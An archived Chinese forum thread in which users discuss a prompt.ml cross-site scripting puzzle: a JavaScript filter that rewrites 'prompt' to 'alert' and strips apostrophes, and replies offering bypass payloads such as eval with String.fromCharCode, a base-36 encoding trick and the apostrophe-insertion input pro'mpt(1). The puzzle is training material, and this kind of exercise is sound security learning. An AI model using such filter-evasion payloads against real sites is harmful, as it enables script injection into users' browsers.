猫史档案馆

关于一道看似很难实则很简单的网络安全题

用户:Albert钟查看:12 回复:7 评论:12 创建时间:2022-05-08T11:12:01

（（（啊这不要打我这题不是我出的来源：prompt.ml

function escape(input) {
    // (╯°□°）╯︵ ┻━┻
    input = encodeURIComponent(input).replace(/prompt/g, 'alert');
    // ┬──┬ ノ( ゜-゜ノ) chill out bro
    input = input.replace(/'/g, '');

    // (╯°□°）╯︵ /(.□. \）DONT FLIP ME BRO
    return '<script>' + input + '</script> ';
}

要求：注入一段input，达到prompt(1)效果（真的很简单啊啊啊啊

智能大黄鸡

[Codemao Lang] 自动暖帖~

xml_sax

一个STUB用户_6923702

eval(String.fromCharCode(112).concat(String.fromCharCode(114)).concat(String.fromCharCode(111)).concat(String.fromCharCode(109)).concat(String.fromCharCode(112)).concat(String.fromCharCode(116)).concat(String.fromCharCode(40)).concat(String.fromCharCode(49)).concat(String.fromCharCode(41)))

一个STUB用户_6923702

eval((1558153217).toString(36).concat(String.fromCharCode(40)).concat(1).concat(String.fromCharCode(41))

一个STUB用户_6923702

等下？？？

一个STUB用户_6923702

噢噢噢噢噢噢噢噢噢噢噢噢噢噢噢噢哦哦哦

一个STUB用户_6923702

pro'mpt(1)